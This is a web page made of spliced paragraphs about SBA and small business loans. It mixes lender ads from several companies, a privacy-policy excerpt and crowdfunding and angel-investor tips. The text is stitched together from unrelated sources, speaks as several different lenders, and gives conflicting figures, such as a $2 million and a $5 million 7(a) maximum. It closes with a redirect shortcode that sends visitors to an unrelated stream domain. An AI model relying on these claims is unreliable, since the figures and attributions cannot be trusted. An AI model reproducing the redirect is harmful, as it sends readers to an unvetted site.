Your chances of being approved are greater if your personal and business finances are in good shape. “If a company has been in business for at least two years, is profitable and has cash flow to support loan payments, it’s likely a good candidate for an SBA loan,” SmartBiz CEO Evan Singer says.
The SBA Export Working Capital Loan (EWCP) can be used to pay suppliers, buy inventory, or cover the production costs for goods/services you will be exporting. All of this has the goal of allowing your business to be able to offer more favorable/flexible terms to your foreign customers.
This is the SBA’s most commonly used — and most flexible — type of loan to help start-up and existing small businesses when they can’t get funding through normal channels. It was named for section 7(a) of the Small Business Act. It’s flexible because it can be used for a variety of purposes, including buying machinery or equipment or furniture, purchasing real estate, leasehold improvements, working capital or even debt refinancing. The maturity term for these loans is up to 10 years for working capital and up to 25 years for fixed assets. In general, the SBA’s maximum exposure for such loans is capped at $1.5 million and since the agency will back up to 75 percent of a 7(a) loan that means a business could borrow up to $2 million. (The SBA’s share of such loans was raised to 90 percent under the American Recovery and Reinvestment Act, which became law in February 2009, but is expected to drop back down unless extended by Congress.)
National Funding offers special opportunities for its customers to terminate contracts early and receive a discount in the process. Equipment Finance customers who pay off the total remaining balance early, at any point during the contract, will automatically receive a 6% discount off the total remaining balance. Working Capital customers who pay off the total remaining balance in full within the first 100 days of the contract will automatically receive a 7% discount off the total remaining balance. We do not currently offer a discount on our lease contracts. Customers must pay off the balance in full, be current, and in good standing to take advantage of the discount within the time parameters.
Credit isn’t the only factor that lenders look at to decide if you qualify, though. They’ll also consider your monthly revenue, how long you’ve been in business, and what industry you’re in. So, for example, if your well-established business shows a steady increase in revenue, lenders leap at the chance to work with you. Literally leap. Don’t let the suits fool you – they do ballet when they get excited.
Now that you have a general overview of the six primary kinds of SBA loans, and the frequency of funding for each, it’s important to understand the difference between SBA loans and traditional bank loans.
Businesses can apply for multiple types of SBA Disaster Loans at the same time to meet their various needs. Proceeds from disaster loans can also be used to relocate your business with approval from the SBA.
Here’s how it works: We gather information about your online activities, such as the searches you conduct on our Sites and the pages you visit. This information may be used to deliver advertising on our Sites and offline (for example, by phone, email and direct mail) that’s customized to meet specific interests you may have.
Microloans and personal loans are good options to finance your inventory and daily expenses if you’re an established business but make less than $25,000 in revenue. Microloans through nonprofits and the SBA usually have low APR and manageable payment terms, but you’d have to deal with stringent requirements. Personal loans are easier to access, but the APR can be higher than with microloans.
We’ve learned a thing or two by working with more than 70,000 business owners just like you. With OnDeck, you don’t just get money in your pocket, you also get credit resources, renewal benefits and, best of all, peace of mind.
• Contact lenders. You need to find a bank or lender that works with the SBA. Most leading commercial banks will offer 7(a) loans, but so do credit unions and other lenders. You can find a list of local SBA lenders by state on the SBA website. “You can contact more than one,” Cruz says. “But this should not be the first time you meet the banker. There are three people that every business person should have a relationship with — an accountant that knows your industry, a lawyer that knows your industry, and a banker that knows your industry.” If you have a relationship with a banker, that’s who you start with, Cruz says. If you don’t know the bankers in your community, try to get around it by having someone you know refer you. Call possible lenders, providing a brief profile of you and your business to see if the lender has an interest in exploring the possibility of a loan. If so, make an appointment to meet the lender(s).
Meeting a lender’s minimum qualifications and requirements will make you a stronger applicant. Some lenders may offer some flexibility if you’re underperforming in one area but overperforming in another, but your best chance of getting approved is meeting or exceeding all of their minimums.
The following step-by-step guide will outline how businesses qualify for SBA-backed loans, the different type of loans that the SBA guarantees, and how to be successful in securing an SBA-backed loan.
Every business is different. We’d like to partner with you to understand your needs so we can help customize a business lending solution for you now, while also proactively helping you plan for the future. Simply answer a few questions, and we’ll contact you to discuss your best financing options.
Large bank institutions, such as Chase, Bank of America and Wells Fargo, generate the bulk of their SBA loan volume by loans, especially the express loan and line of credit, offered to those who would be declined for ‘normal’ bank credit due to factors such as length of time in business or slightly more conservative underwriting factors. Banks have sophisticated computer systems that generally make this process seamless, and are quite different from other financial institutions who utilize SBA lending for separate and distinct purposes.
The qualifications for each type of SBA Disaster Loan are slightly different. One key difference shared by all of them is that your will be applying for a loan when your may not be in great shape. Despite this fact, the SBA still requires that:
A crowdfunding site like Kickstarter.com can be a fun and effective way to raise money for a relatively low cost, creative project. You’ll set a goal for how money you’d like to raise over a period of time, say, $1,500 over 40 days. Your friends, family, and strangers then use the site to pledge money. Kickstarter has funded roughly 1,000 projects, from rock albums to documentary films since its launch last year. But keep in mind, this isn’t about long-term funding. Rather, it’s supposed to facilitate the asking for and giving of support for single, one-off ideas. Usually, project-creators offer incentives for pledging, such as if you give a writer $15, you’ll get a book in return. There’s no long-term return on investment for supporters and not even the ability to write off donations for tax purposes. Still, that hasn’t stopped close to 100,000 people from pledging to Kickstarter projects.
The SBA is a unique organization designed to assist small businesses with a variety of financing options and other needs. While it’s important to research each type of loan offered to ensure that it’s right for your situation, there are many instances in which an SBA loan could be a wise bet for obtaining a business loan.
Start by asking your lender about Annual Percentage Rate or APR. APR takes into account all fees and interest rates so you have a standard measure of the cost of credit across different type loan products. Ask the lender to explain any and all fees associated with your small business loan. Typical fees associated with loans may include:
The 7(a) Loan Guarantee Program is designed to help entrepreneurs start or expand their small businesses. The program makes capital available to small businesses through bank and non-bank lending institutions. The Small Business Jobs Act of 2010 increased the maximum size of these loans, indefinitely, from $2 million to $5 million.
Navigating these requirements and the accompanying paperwork can be difficult and is the main reason people think of SBA loans as slow and hard to get. Some of the best SBA lenders, like SmartBiz, have streamlined this process and drastically cut down paperwork and application times. In fact, SmartBiz routinely closes SBA loans in 2-3 weeks.
Small businesses in industries that have periods of boom and bust every year (in other words, busy seasons and slow season) often face cash flow problems when business is entering the busy season. They needs to hire workers and buy materials but likely won’t be paid for their work for 30-90 days. The SBA CAPLines allows small businesses grow as fast as possible and not run into cash flow issues.
Did you know you have a FICO small business credit score that banks use to help make their lending decisions?Like your personal FICO credit score, the SBSS score can single-handedly make or break your chances of getting business financing!
WBCs are designed to assist women in starting and growing small businesses, though their services are available to all. WBCs help women succeed in business by providing training, mentoring, business development, and financing opportunities to over 100,000 women entrepreneurs annually across the nation. Women’s Business Centers are mandated to serve a significant number of socially and economically disadvantaged individuals.
When pitching an angel investor, all the old rules still apply: be succinct, avoid jargon, have an exit strategy. But the economic turmoil of the last few years has made a complicated game even trickier. Here are some tips to win over angel interest: [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]